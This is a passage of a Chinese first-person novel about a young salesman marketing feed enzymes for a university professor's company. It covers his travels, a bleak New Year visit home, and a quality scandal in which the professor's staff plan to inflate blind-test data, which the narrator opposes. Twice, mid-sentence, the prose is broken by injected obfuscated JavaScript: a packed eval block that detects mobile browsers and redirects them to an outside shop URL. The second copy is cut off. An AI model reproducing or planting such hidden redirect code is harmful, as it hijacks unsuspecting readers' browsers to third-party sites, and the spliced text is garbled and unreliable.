离开金农神集团后,我直接前往上海虹桥火车站,乘火车前往安徽合肥——李新语热情引荐了他的研究生同学李刚强,对方正在合肥做饲料小原料贸易。
次日清晨抵达合肥,下午我马不停蹄拜访李刚强,很快谈妥了安徽的经销权。随后我继续北上,来到孔孟之乡山东。
在亲身到访济南之前,我对这座城市的了解仅来自老舍先生的散文《济南的冬天》,以及它是李清照、辛弃疾的故乡,还有苏轼、苏辙等文人墨客为济南写下的诗词。
到济南后,我先去济微路的济南七贤饲料原料市场转了一圈,没找到合适的目标客户。正当我漫无目的地走出市场时,抬头瞥见马路对面有一家名为“济南奔腾牧业公司”的贸易企业。穿过济微路走进公司,我与老板赵红军聊了不到一小时,他便爽快答应成为我们的经销商。后来,济南奔腾牧业公司成为我们首个年销售额超500万的经销商,济南也成了我在北方城市中最熟悉的地方之一。
几天后,在赵红军的引荐下,我又到天津开发了经销商“天津新思维公司”。新思维经销的产品几乎全是欧美品牌,管理模式也偏欧美化,团队人才培养有着完善的系统培训和清晰的价值导向。一次和老板洪强国跑市场时,他兴致勃勃地给客户讲了一个关于青岛下水道的故事:
“当年青岛是德国殖民地时,德国人规划建设这座城市,不热衷于建豪华别墅或高楼大厦——他们觉得这些都是徒有其表的面子工程,反而专心致志、不惜代价,用工匠精神把青岛的下水道打造成了百年不涝的工程。
这项工程看似‘出力不讨好’,却让青岛在之后的一百多年里,成了中国唯一不会内涝的城市,无论多大的暴风雨都能从容应对。永不淹水的青岛不仅让市民安居乐业,也让城市享誉国际。追求极致的德国人还很严谨,在易损坏的零部件旁提前预埋了备用件。一百多年后,青岛水利部门甚至收到当年德国施工企业的邮件,提醒他们某位置储存着用油纸包好的备用零部件,如今原有部件已到使用期限……现在可以用它们来更换下水道的相应零部件。青岛水利部门的相关工作人员依照邮件内容描述的位置,果然找到了存放零部件的仓库。小心取出后,打开包裹的油纸,发现里面的零部件依然光亮如新。
在天津与洪强国一起跑了数天市场后,我顺路再次来到北京大学生命科学院,见到阔别已久的汪教授。我们相见甚欢,在实验室里畅聊了一下午,晚上还一起共进晚餐。他送我回位于地下室的旅馆时,反复强调,若有任何困难或需要他帮忙的地方尽管开口,不必跟他客气。在他心里,早已把我当成了可遇不可求的忘年之交。
第二天,他早早来到旅馆为我送行。我本已买好从北京到昆明的绿皮火车票,他得知后,却又帮我买了从北京飞往昆明的机票。
当天晚上我飞抵昆明,结束了这次长达50多天的市场开发旅程。在这次跨越十几个省的市场开发过程中,我白天拜访客户,晚上绞尽脑汁四处借钱,节衣缩食,勉强度日。
回到昆明后,我数次找方贤德教授解释跑市场所需的各项费用,三番五次探讨公司支付工资、出差费及销量提成的合理性,经过反复协商,他才勉强同意每月支付我1000元固定工资。机票、火车票等必要交通费,他也承诺会安排专人按行程需求订购。其他出差产生的食宿费及杂费,则按不超过200元/天的标准,凭有效发票实报实销。基础销量任务为每年500万,超过部分可考虑给予相应提成。
针对这次50多天出差的费用,他一次性支付给我3000元,但要求取消此前商定的所有销售提成。付款当天,他特地约我在一间僻静的茶室见面。付钱前,他格外谨慎地要求我写下收据,以及保证不再索要销售提成的承诺书。
他接过收据与承诺书,认真仔细地看了一遍,长长舒了口气,眯笑着将其折叠好,慎重地放进夹克内层贴身衣兜,然后拉上黑色夹克的拉链,扣上衣袖纽扣,满意地点点头,轻轻抿了一口已凉透的普洱茶。他用舌头舔了舔嘴唇,喉结向下滑动咽了口唾沫,头向后仰枕在椅背上,双腿向前伸直,眼睛泛起青光,微笑着对我说:“去开发几个用量大的大集团企业客户,需要有供需双方盖章签字的销售合同。我们申请发改委补助项目时,经常要用这些合同。”
“好的。下次出差我尽量尝试开发几个,但你暂时不用抱太大希望。大集团企业不是一朝一夕就能成功开发的。”我一边看着透过窗户缝隙的阳光中,悬浮的尘埃如幽灵般飘荡盘旋,一边快速思索着哪些大集团企业有可能成为我们的客户。
方教授见我没接着说目标客户是谁、下一步准备开发谁,便舔了舔嘴唇,端起茶杯喝了一口清香的普洱茶,轻轻咳了几声,喉结再次向下滑动,像长颈鹿吞咽食物般咽了一大口痰,脖子仿佛胀得更粗更红了些。他撇了撇嘴,饶有兴致地接着说:“天神集团的何正道,我见过好几次。他们集团项目部的高婷婷经理,我在科技厅也常碰到,而且跟我很熟。看他们俩都挺精明,也懂人情世故。我们可以承诺一起申请项目经费,你看有没有合作的机会?”
“目前来看,通过一起申请项目经费建立合作关系,或许有一点点机会,但肯定不会很大。”我想了想回答道。
“为什么?难道他们对申请项目经费不感兴趣?对钱也不感兴趣?”方教授有些吃惊,抬头目不转睛地看着我。
“何正道和你对申请项目经费的理解与目的完全不同,你们的价值观也不一样。”我淡淡地说完,我们都陷入了沉思,在沉默中结束了这次茶叙。
13. 第 13 章
透过云南轻工业大学生命科学学院工程中心实验室的玻璃窗户,我望着风华正茂、朝气蓬勃的学子们在青春的校园里匆匆离去。喧嚣的校园渐渐宁静下来,又是一年寒假来临。
我带上刚在实验室制备的甘露聚糖酶样品,走出冷清的云南轻工业大学,赶往四千公里外的黑龙江哈尔滨市。济南的赵红军又为我引荐了哈尔滨的一家贸易公司,让我去商谈甘露聚糖酶的经销事宜。临行前,“老二”张斌叮嘱我,若碰到市场上有高含量的脂肪酶,就像几个月前购买甘露聚糖酶那样,买一些回来。
从哈尔滨火车站出来时,正值腊八节后的第三天。凛冽的寒风卷着细碎的雪花,如刀锋般迎面刮来。我毫无防护的脸和手瞬间传来锥刺刀割般的强烈痛感,脚掌隔着袜子和鞋底,仍像光脚踩在冰上,针扎似的刺痛难忍,我不自觉地用脚尖点地行走。
干燥寒冷的空气侵入鼻腔,先是一阵冰凉不适,接着鼻涕像水一样“刷刷”流下。我来不及找纸巾擦拭,慌忙抬起手臂用衣袖轻擦,鼻涕在衣袖上瞬间凝结成薄薄的冰凌。耳朵在一阵尖锐刺痛后,变得僵硬麻木,完全失去了知觉。眼镜的树脂镜片被呼出的热气蒙上一层薄冰,视线顿时模糊不清。
火车站前的空旷街道宛如冰晶的世界、雪花的海洋。利剑般的冰柱倒挂在窗檐与屋檐下,白雪覆盖着冰封的人行道和绿化带。稀疏的行人都弓着腰,踩着碎步,尽量顺着风向前行,或背身迎风,倒退着走。
我哆嗦着迅速跑进路边一家超市,买了羊绒帽、口罩、羽绒手套和厚厚的羊毛袜。全身裹严实后,打车前往赵红军引荐的贸易公司,却被告知老板临时有急事,今早刚去了辽宁沈阳市铁西区。
等我从哈尔滨赶到沈阳铁西区,该公司老板又急匆匆返回了哈尔滨。他在电话里连连致歉,为了不让我白跑一趟,热情推荐了沈阳一位叫王洪建的贸易公司老板。王洪建高大威猛,留着光头,我们见面后聊了一下午,便谈妥了辽宁全省的经销权。第二天,我和他一同拜访了辽宁和牧神股份有限公司。
辽宁和牧神股份公司的老板唐大海,是“正方康地三杰”之一,也是王洪建的大学本科同学。在中国饲料与畜牧业界的传说里,唐大海的文学功底与演讲才华无人能及,且和宋二海一样,琴棋书画、吟诗作赋样样精通,堪称中国饲料与畜牧业的“绝代双骄”——“北唐南宋”,两人还合资在山东成立了山东大神饲料公司。
辽宁和牧神股份公司在全国有近九十家分公司,员工超两万五千人,年产值近两百亿元。总部位于沈阳市郊区,是集办公、机械设备制造、饲料生产、肉鸡屠宰、食品加工于一体的宏大产业园区,整体布局合理,大气简洁且实用。
王洪建带我找到了和牧神股份酶制剂采购的主要负责人李飞鹰。李飞鹰五十多岁,为人谦卑好客、和蔼可亲,说话真诚直率又豪爽。我们从下午四点一直聊到黄昏,他还热情地留我们共进晚餐。
第二天早上,李飞鹰打电话告诉我,他昨晚安排人加班检测了我留下的甘露聚糖酶样品,各项数据都不错,让我过去再详细谈谈。我到他办公室后,简单聊了价格、进货渠道和结算方式,他便答应先少量订货试用。李飞鹰的做事风格简单直接、高效务实,遵循客观数据评估,判断中不掺杂个人主观因素。他是为数不多能记得自己公司也是从小企业一步步发展起来的人,不戴歧视小微企业的有色眼镜,不以大公司自居而店大欺客,也不耍“遛猴”“踢足球”之类的计谋玩弄他人,更不用“拧毛巾”“挤牙膏”的议价手段榨干供应链企业的利润。他主张让整个产业链的上下游企业,在保持适度新陈代谢的前提下,携手共进、共同成长并实现可持续发展,力求推动整个行业达成健康的生态平衡。
辽宁和牧神股份公司完成进货后,我顺路前往北京大学生命科学院拜访了汪教授,随后一路南下,途经天津、济南、安徽等地,每到一处都协助当地已有经销商共同开发市场。
当我与李新语再次前往上海红马饲料公司时,距离除夕夜仅剩5天。
上海红马饲料公司的赵老板,说话做事与李飞鹰一样简单直接,也是实用主义的践行者。他始终强调,饲料的本质是生产资料,应注重性价比,不能像高端消费品或奢侈品那样盲目追求个人喜好与情怀,再通过花哨的营销手段变相让养殖户买单。我们在他办公楼的第二次见面不到十五分钟,他便向李新语下单订货。这让李新语走出办公室时高兴得手舞足蹈,反复念叨金农神集团应该向红马饲料公司学习。
金农神集团依旧毫无变化,仿佛无需任何改变就已足够强大。我与李新语再次走进云博士办公室时,还未开口,他便说出了与上次拜访时完全相同的话:“先找供应链总经理,待他批准进入采购目录,再找内务部采购部核实盖章,接着找张四海董事长签字,之后再由我安排养殖试验……然后再找……”
当我们再次在三面环形落地玻璃幕墙的办公楼见到张四海时,他依旧彬彬有礼、温文尔雅,客气地微笑着说:“你们应该先去找云博士沟通。”他表示,金农神集团所有技术与采购相关事宜已全权交由云博士负责,他不能越级越权管理,以后不必再找他。
离开金农神集团时,距离除夕夜仅剩4天。方贤德教授安排帮我订票的专人说,临近春节的机票价格过高,仅剩头等舱,购票金额远超方教授允许的范围,而火车票在网上也难以买到,因此他未帮我订到从上海回昆明的机票或火车票,让我自行前往上海火车站售票窗口排队购买火车票。
春节前夕,上海火车站的站前广场上人山人海,远远就能听到“嗡嗡”的喧闹声,宛如一个忙碌的巨大露天蜂巢。提前乘火车抵达的人、等候同伴排队买票的人,都放下了身上大袋小袋、大箱小捆的沉重行李。潮湿阴冷的空气中,有人三五成群席地而坐聊家常,有人凑在一起叼着香烟玩扑克牌,有人靠着行李闭目养神打瞌睡,有人啃着面包、嗑着瓜子、喝着凉水,有人安静地斜倚在角落给怀里的孩子喂奶。他们满怀愉悦,燃烧着希望——明天或几天后就能回到老家,与阔别已久的亲人团聚;能给爹娘或孩子添几件新衣服;能为家里置办几件新家具;能在村头建盖新房;或许还能和心爱的人结婚,组建新家庭。人只要有对明天的希望和热情,眼下就算苦一点、累一点,依然能活得开心幸福。
春节,让他们不再寄身远方他乡,得以集体回归魂牵梦萦的故里;春节,是归航的灯塔,指引游子的孤帆如期停泊在家的港湾;春节,能让难过、痛苦、悲伤的过往被团聚的欢愉冲淡;春节,也能让熟悉的亲情乡情抚平漂泊的挫折与伤痛。
上海火车站售票窗口的排队队伍从售票室一直延伸到广场,再弯弯曲曲地延伸至广场左侧的绿化带附近。
我无精打采地耷拉着脑袋,跟在曲折迂回、又长又粗的队伍后面。绿化带中稀疏的乔木枝丫上,残存的枯黄叶片在潮湿阴冷的寒气中哆哆嗦嗦,等待着严冬里最后一缕寒风将它们轻轻吹落。小草已变成一片枯萎的黄色,再难寻到一丝嫩绿,在凛冽寒冬中沉沉睡去,唯有等待来年春风唤醒,再次破土而出。初冬刚盛放的菊花也低低垂下头,破败的花瓣上挂着晶莹的水珠,仿佛在悲叹时光的残酷无情。只有在湿润的香樟树梢上,泛起点点黄金般宝贵的嫩芽,怯生生地躲藏在淡黄色的叶子中间,释放出春天将要来临的、似有似无的讯息。
忽闻排在我前面的队伍中传来一阵骚动,我侧身抬头望去。只见一位戴着“红袖标”的治安管理人员,正对着一位中年妇女劝道:“谁让你随便插队的?请你出来,重新去队伍最后面排队。”
中年妇女有些紧张,慌忙连声解释:“我原本就排在这个位置,只是刚才去上了个厕所,仅仅离开了一小会儿。”
治安管理人员一边整理左手臂上的“红袖标”,一边不容辩解地提高声音:“谁让你去上厕所?谁说上厕所折返回来还能排在原来的位置?赶紧出来去队伍最后面重新排队。”
中年妇女低头看着自己沾满泥土的脚尖,仿佛在认真接受批评,干裂发白的嘴唇似乎想再解释些什么,却又不知该如何开口。
站在中年妇女身后的一个年轻女孩替她作证:“刚才她确实排在我前面,只是去了趟厕所,仅仅离开了几分钟而已。”
治安管理人员或许觉得自己的威严受到了侵犯,突然扯开嗓门大声说:“你算老几?我说不行就是不行,她还是得重新去队伍最后面排队!”
年轻女孩嘟着嘴,低声反问:“这是谁给你那么大的权力?”
治安管理人员突然靠近年轻女孩,额头几乎顶到她的额头,扯着左臂上的“红袖标”咆哮道:“它给我的权力!它赋予我命令她重新排队的权威!”
年轻女孩被他一恐吓,也低头瑟缩起来,任由“红袖标”口沫横飞地继续咆哮。
中年妇女微微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334303|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
犹豫,惶恐地看了“红袖标”一眼,又看了唯一替她说话的年轻女孩一眼,这才依依不舍地向队伍最后面走去。
大年初二下午,我终于回到了久违的家乡。
春节,让我常年沉寂荒凉的家乡有了难得的生机与活力,村民们争相点燃熄灭已久的欢庆篝火。村庄的空气中弥漫着淡淡的火药味,村民们换上相对干净整洁的衣服;照明的灯泡也从十五瓦阔气地换成了一百瓦;家家户户的门框上贴着鲜红的春联,还有鲜衣怒马的尉迟恭和手持打神鞭的秦叔宝;村妇们挽起衣袖,用长满老茧和冻疮的手清洗着各种蔬菜与炊具;小伙子们叼着香烟,劈柴烧水,杀鸡宰鱼;墙角的土狗慵懒地打着哈欠,睡眼惺忪地舔着舌头,盯着溅落在地上的零星鸡血;孩童们在村头活蹦乱跳,兴高采烈地燃放鞭炮;一家之主的男人们爬上山顶破败的小庙,磕头上香、敬供添油,寄望山神赐予一年的风调雨顺;白发苍苍的老者安详地佝偻着腰,斜倚在光秃秃的白杨树下,任夕阳在枝条和树丫间投下的斑驳光影缓缓摇曳、悄无声息地消隐。
太阳从西边的山顶缓缓坠下,暮色升起,夜幕降临。北风在黑夜的掩护下撕破山脊的轻雾,掠过原野的松林,卷着凛冽的寒意,“呜呜”地从泥墙缝、瓦缝里灌进我家的老屋,屋顶沾满灰尘的蛛丝条犹如凌空伸出的皮鞭,反复抽打着空气中稀薄的暖流。
我母亲蜷缩着瘦弱的身躯躺在炉火旁,零星的白发随风不停地抖动。黄褐色的脸上,一道道深深的皱纹仿佛倾诉着她多年承受的无尽伤痛与疾苦。高耸的颧骨、深陷的眼窝,她浑浊的目光呆滞地望着屋顶,仿佛仍在思念着哥哥和爷爷奶奶。皮包骨的手背上爬满了蚯蚓般凸起的筋脉,开裂残缺的指缝里嵌满了她劳作时沾附的泥土。她像茫茫大海上一张残破不堪的孤帆,任岁月之风呼啸而过,任时代之浪迎面而来,以无所畏惧的淡定从容、了无眷恋的毅然决然,静待那艘永无归期的西航之船。
父亲雕塑般地斜靠在墙角,眼神空洞而迷离地看着小屋中央——那曾是放置哥哥和爷爷奶奶遗体、用草席包裹的地方。无情的光阴,残酷的现实消磨尽他向往远方的意志,年复一年的劳作耗尽他追寻光明的念力。曾经因我执意求学而对我生出的种种抱怨与愤怒,已被岁月的光阴冲淡消散。他的耳朵已听不清我在讲什么,倒也落得个耳根清净。或许他对我的记忆,永远定格在了我十三岁离家的那一年。
我坐在母亲身旁的草墩上,望着柴炉里跳动的火焰,心头翻涌着难以平复的悲凉。在我朦胧混沌的幼年时光里,这间不足三十平方米的老屋内,除了已经出嫁的四个姐姐,还住着我和父母、爷爷奶奶,以及未出嫁的一个姐姐与一个哥哥,共七口人,拥挤得如同绿皮火车的硬座车厢。附近方圆几百米的山包上,住着一百多户村民,总计六百多口人。如今,王氏本家的大伯、二伯与二婶已先后离世,许多邻居也在山脚下盖了新房搬走,或是永久定居外地,只剩下一些老弱病残与留守的妇女儿童。年轻的女孩们,大多义无反顾地远嫁他乡;父辈们全力供养至初高中毕业的村中“精英”,也没有倦鸟归巢、荣归故里建设家乡,而是毅然选择前往远方打工创业或继续务农,而后成家立业,落地生根。
二十多年前,我常常好奇绵绵群山的背后是什么,太阳升起与落下的地方有什么。这是我憧憬远方的最初梦想,也是远走他乡的初始动力。而今,离开十五年的我再次回到这里,站在这片被父母、爷爷奶奶及祖辈反复踩踏,浸润着他们汗水与血泪,沉淀着他们希望与绝望的贫瘠土地上,从未觉得它如此厚重、如此亲切、如此承载重托,更从未觉得它如此无力、如此无奈、如此悲伤、如此无助。
如果人生可以分为四季,有的人始终活在春天里,我的父母却永远困在冬天;我的哥哥和爷爷奶奶不仅生于冬天、活于冬天,最终也逝于冬天。人生最难熬的,不是在寒夜里卑微地努力活着,而是在无尽的寒夜里,不知道黎明何时到来;在寒夜中艰难负重前行,不知道破晓的曙光何时能穿透重重迷雾,照亮前方的路。比极端贫穷更可怕的,是习惯性的认命、自觉性的卑微——在漆黑的深夜里熄灭并掩埋所有希望与理想,任自己的命运在苦海深渊里无限沉沦。出身寒门的悲苦只能自哀,伤痛只能自怜,幸福只能自欺。今天苟且,明天继续苟且,明天不过是今天悲苦的延续;看不到明天的光明与希望,只能在永恒的寒夜里无奈认命、无助煎熬、无力绝望。
14. 第 14 章
正月二十一那天,我接到济南赵红军打来的电话,他反映我们的植酸酶产品检测不合格,含量仅为标识的30%左右,要求退货并给出合理解释。我一边安抚他,承诺定会找出问题原因并妥善处理,一边让他取样品快递给实验室的张斌复测,再做定论。
四天后,实验室收到了赵红军寄来的样品,我请张斌连夜加班复测。
第三天下午,我迫不及待地打电话给张斌追问结果。他说复测后的数据仍只有标识含量的30%左右,产品确实存在含量不足的质量问题。挂完电话,我立即赶到云南轻工业大学生命科学学院工程中心的实验室,想找方贤德教授问明缘由。
方教授听闻后一脸无辜,仿佛对此毫不知情,一边不断抱怨,一边把董金贵、张斌和他的亲弟弟方贤明叫到办公室,满脸疑惑地看着三人问道:“含量怎么可能不够?是不是你们测错了?”
三人双手交叉放在身前,噤若寒蝉,毕恭毕敬地站在方教授面前。张斌忐忑不安,慌张地颤声说:“赵红军寄来的样品,含量……含量……结果确实有些不够,我昨天反复测了好几遍都是一样的数据。”
方教授的脸色微微一变,仍有些难以置信地看着我,接着问道:“样品是不是被赵红军稀释过了?”但张斌随即替我回答:“我和董金贵董老大,今天早上也测了我们工厂最近刚生产的植酸酶成品“库存的含量还是不够……”
方教授的脸色瞬间阴沉下来,横眉怒目间隐隐透着不屑的怒气。他打断张斌的话,说道:“好几个酶制剂产品的国家检测标准,都是我博士同学起草制定的,我比你更清楚其中的门道。要是用现行的国家检测标准测定植酸酶,稍有不慎,结果很容易出现好几倍的误差。再说,我研究植酸酶这么多年,难道还不如你懂?还不如你检测得准确?我可以负责任地告诉你,赵红军送中国饲料工程中心检测的结果,100%是错的。他们负责检测的那几个人,没有一个是专业做植酸酶检测的,全是一年级的研究生,拿送检样品练手呢。”
“张斌,你检测的结果肯定有问题,你要为退货造成的一切损失负责。董金贵,你明天重新复测一遍,让他看看什么是真正的科研精神,什么是真正的求真务实。”方贤明似乎也被哥哥的情绪感染,有些气急败坏,嘴角紧绷着提高嗓门帮腔附和道。
过了一会儿,方教授转过头,满脸期盼地看着我追问:“赵红军平时为人怎么样?他经销的其他公司产品是不是也经常发生类似的事情?他是不是想玩什么阴招?”
“我认识他快两年了,目前从没听说过他和其他公司有过类似的质量问题纠纷。以我对他的了解,他应该不是那种蛮不讲理、靠欺骗或讹诈赚钱的人。”我十分困惑,也隐隐有些诧异和生气地回答。
整个实验室顿时陷入一片寂静。方教授喘着粗气,不停用舌头舔着干燥的嘴唇,喉结上下滑动,脖子一伸一缩地吞咽着唾液,呆呆地盯着身前宽大的办公桌出神。其他人都双手交叉放在身前,低着头默不作声。
忽然,我的手机响起一阵清脆的铃声,打破了沉默——是赵红军打电话来询问复测结果。我轻轻走出办公室,在走廊上向他说明了复测情况和目前面临的问题。赵红军在难以理解的震惊中沉默片刻,叹息着挂了电话。
几分钟后,赵红军再次打来电话,提出一个全新的解决方案:“我们重新收集五组植酸酶样品,其中四组是其他公司的,一组是我们聚贤德自己的。五组样品用同一种载体稀释几倍,只在样品袋上标注A、B、C、D、E五个编号,不注明生产厂家和准确含量,然后寄到云南轻工业大学生命科学学院工程中心实验室进行‘盲测’。测完后根据编号和检测数据,对比稀释倍数换算出原始产品的真实含量。这样既公正又客观,真金不怕火炼,还能彻底打消双方的怀疑和顾虑。”
我结束通话回到办公室,打断正在训话的方贤德,传达了赵红军的方案。看着方教授和方贤明兄弟俩,我试着征求意见:“方教授!方总!你们看这样行不行?目前也没有更好的解决办法了!”
方教授眉头一皱,似乎有些惊慌失措,但犹豫片刻后,伸长脖子吞咽了一口唾沫,脸色凝重地沉声说:“好啊!没问题!但得额外支付检测服务费,每组样品每次收费1000元。实验室是学校的、国家的,不是我私人的。”
说完,方教授双手往前一摊,身体向后靠在椅背上,喘着粗气闭目养神。办公室再次陷入深深的沉默。方贤明瞪着眼睛看我,像是在愤怒地抱怨:“你不该自作主张答应赵红军,还惹我哥哥生气!”
良久,董金贵或许是想找个台阶打破沉默,喃喃自语道:“我们几千年都遵循‘士农工商’的等级排序,商人自古以来就是最低等的群体。俗话说无商不奸,赵红军是不是不想付货款故意找茬?一个小本科生而已,真是不自量力,居然敢在关公面前耍大刀!”
方教授忽然站起身来,他双手重重拍在桌上,顺水推舟地补了句:“不过是个商人!也敢跟我们讨论酶制剂检测。我看他们连植酸酶的检测方法都读不懂,还想找茬碰瓷。真是无奸不商啊!不过是个小本科生出身的暴发户罢了!”
我们在沉默的气氛中不欢而散,但方教授临走时,还是勉强同意了赵红军提出的最新解决方案。
一周左右后,实验室再次收到赵红军重新寄来的五组样品。这一次,方教授极为慎重,特意安排在读博士生金玲儿与三年级研究生郭雯雯共同检测,没有再让张斌和董金贵参与。
金玲儿在云南轻工业大学生命科学学院已待了十年——四年本科、三年硕士,如今是跟着方教授读博的第三年。听说方教授正积极运作,想让她留校任教。她的青春时光都在这校园里单纯度过,方教授对她也格外信任,每次外出接待应酬或出差讲学都会带上她。实验室里,她拿的补助工资最高,甚至比“老资格”的董金贵还要高出不少。
郭雯雯虽年纪不大,却举止端庄大方、活泼开朗,一颦一笑、举手投足间都透着女性特有的温柔妩媚,同样深得方教授的信任与喜爱。
收到样品三天后的中午,我再次来到实验室询问检测结果。方教授、董金贵、张斌和郭雯雯都在午休,只有金玲儿独自在配制检测酶制剂用的缓冲液。我敲门进去,直接问道:“金博士,您好!前几天济南寄来的五组植酸酶样品,检测结果出来了吗?”
她停下手中的活,打开笔记本电脑,翻出检测记录,指着表格上的数据,按A、B、C、D、E的顺序逐一念了一遍。我用纸仔细记下,走到实验室走廊就给赵红军打电话,两人对照样品编号、检测数据和稀释倍数,换算出产品的原始真实含量。
在我告知赵红军检测数据前,他先把样品编号对应的公司产品逐一念给我听。我再报给他检测数据,他又说了样品的稀释倍数。我们相互记录后,各自短暂计算了一下,随即陷入深深的沉默与困惑的叹息中。
半晌,他长长叹了口气:“你自己看着办吧。”
带着难以置信、难以理解的心情,我回到实验室再次问金玲儿:“你们检测时有没有不小心弄错样品编号,或者搞反顺序?”金玲儿柳眉紧锁,轻咬下唇,转身从抽屉里拿出一沓纸:“怎么可能弄错?我和郭雯雯一起重复检测了三次,每次都是一人读编号、另一人取样品。检测方法完全按照现行国家标准,三次结果的误差都在5%以内,给你看的是三次的平均值。”
看着眼前那沓确凿的检测数据,我格外失落。再次走出实验室,我独自来到空旷的足球场,呆呆望着跑道尽头。原本晴朗的天空瞬间阴沉下来,乌云密布,天昏地暗。
当天下午,我再次敲开方贤德教授的办公室门,正准备告诉他我们生产的植酸酶经金玲儿和郭雯雯检测确实存在质量问题时,却发现他早已把董金贵、方贤明、张斌三人叫到了办公室商量对策。方教授仔细看着桌上标注A、B、C、D、E的五组样品自封袋,又认真翻看手中的检测记录和数据,不停叹气摇头。他用期盼的目光看看董金贵,又看看方贤明,问道:“从颜色、细度、气味、容重综合来看,哪一组是我们生产的?产品是你们负责生产的,难道真的区分不出来吗?”
董金贵双手一摊,一脸无辜地苦笑道:“五组样品都用同一种载体稀释过,颜色、细度和容重几乎完全一致,他们还额外添加过……”同一种香味剂,味道也基本一致,所以很难区分出我们的产品对应哪一组。”
方教授又把目光转向方贤明,问道:“那你综合分析衡量一下,或者猜测一下,究竟哪一组编号的样品最有可能是我们生产的产品?”
方贤明犹豫了一下,指着C号样品,含含糊糊地说:“这组样品最像!但不敢100%确定是!”然后又指了指E号样品,“其次这组也很像,但还是不能确认!”
方教授用右手五指叉了叉额前沾满汗水的头发,左手摸了摸下巴,沉思片刻说:“那就把C和E号两组样品的检测数据同时翻3倍,其他组样品保持不变,重新做一份检测数据发给赵红军。”
“你觉得这样处理,可以吗?”方教授脸上有些微微泛红,向仍然站在门后的我征询意见。
就在我即将开口告诉他,其实我已经知道哪一组编号的样品对应我们的产品时,董金贵却突然大声抢先说:“我敢100%肯定,我们产品对应的样品绝对就在C和E号样品之间。如果两组检测数据同时翻3倍,完全可以确保万无一失。”
“对!我也是这样认为,C和E号两组样品检测数据同时翻三倍,一定可以保证顺利通关。”站在董金贵旁边、始终一言不发的张斌,突然开口随声附和。
方贤明瞬间如释重负,长长舒了一口气,愉快地说:“那好!我马上就去办。”说完便拿起桌上的检测数据,转身匆匆走出办公室。出门的时候,他还不忘回头叮嘱我:“等一下我把检测数据改好,发一份到你电子邮箱里,你负责去通知赵红军。”
随后,董金贵和张斌也陆续满脸解脱地离开了办公室。我坐在方教授办公桌对面的椅子上,非常失望地告诉了他我所知道的一切。他听完后脸色铁青,额头和腮帮子上青筋暴起,现场气氛十分尴尬。他双手抱在胸前,沮丧地反问我究竟想怎么办,究竟想要多少钱才能摆平这件事。
我犹豫沉默了半晌,不知道该说什么。我很想毅然起身离开,再也不想多跟他说一句话,再也不想多看他一眼,但回想起这些年来我经历的穷困潦倒与痛苦挣扎——无论我付出怎样的努力、艰辛与颠沛流离,最后依然一事无成、一穷二白。我离开家这么多年,读了这么多年书,毕业这么多年,奋斗这么多年!却从来没有让父母过上一天像样的日子,母亲已经被病魔折磨得像“活死人”一般,我甚至从未带她到医疗条件优越的医院面诊与治疗过。我还有多少时间可以浪费?还有多少青春可以挥霍?还有什么意气用事不应该放下?还有什么骨气可以坚持?还有什么社会现实不能忍受?生而为人,连生我养我的父母都照顾不了、关心不了、关爱不了,我还谈什么远大抱负和理想,谈什么热爱这个世界或博爱其他?
我勉强控制住自己愤怒与绝望的情绪,选择心平气和地与他耐心商议,或是发自心底地哀求。我认真给他分析了严重质量问题对企业发展的灾难性后果、对客户信心的毁灭性打击,以及由此带来的种种难以挽回的损失;详细解释了犯错并不可怕,也不是企业的末日,只要敢于正视错误、认真改正、虚心学习、逐步积累经验教训,企业总会慢慢强大起来;再次重申产品质量等于人品,质量是企业生存和发展的土壤,忽视质量就是犯罪;企业做产品需要俯下身,虔诚地用双手捧着献给客户;企业经营需要用真诚的心,换客户认同的心、员工归属的心。我们每个人都不要以为只有自己聪明绝顶,其他人全是傻子——当你认为别人是傻子的时候,别人已经把你当成垃圾丢弃了。
方教授静静听我讲完,从椅子上站起来走到我身边,右手搭在我肩膀上,郑重其事地承诺永远不会再犯类似的错误,发誓一定要狠抓质量。我想他确实认识到了质量问题的严重性——质量是企业生存和发展的基础,诚信是做人做事最基本的底色,所以我也没有再步步紧逼。他,彼此皆留有今后沟通的余地。
后来,我也找到了质量问题的根本原因,向赵红军解释清楚了前因后果,谈妥了退货换货的流程,也得到了他的谅解。我请求他与公司一同成长、共同进步,给予我们改正错误的机会,继续经销我们的产品。他欣然同意,并反复强调绝不能再犯类似的错误。
2010年暑假前几周,我带着四川恒威集团酶制剂采购的相关负责人到实验室参观考察,正好碰到金玲儿在做博士毕业论文答辩材料的最后准备。见我带着意向客户前来,她热情地帮忙介绍实验室的菌种研发情况。参观结束后,我邀请她和我们一起去滇池边一家名叫“锦绣山庄”的餐厅共进晚餐。
那天,金玲儿在漫天夕阳下,端庄地侧身坐在亭台楼阁里古朴典雅的椅子上,杏脸桃腮,清秀玲珑。弯弯的柳叶眉下,一双如秋水般清澈明亮的丹凤眼,痴痴地眺望着远处的西山。掠过滇池水面的微风裹挟着鲜润的湿气,拂动她瀑布般乌黑的秀发。她抬起青葱般的手指,拨开额头随风飘扬的青丝。一只色彩斑斓的蝴蝶,扇动着五彩的翅膀,悠悠地落在了她的指尖上。
不止我们被她浑然天成的自然之美所震撼,连一只在花丛间穿梭的蝴蝶,也被她的美丽吸引。
正在这时,锦绣山庄的小院里突然冲进两辆黑色轿车,径直横停在院子中央。保安刚上前示意车辆停入车位,车上便迅速下来七个人——六个浓妆艳抹的中年妇女,一个魁梧的青年男人,径直朝我们走来。
走在最前面的中年妇女,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 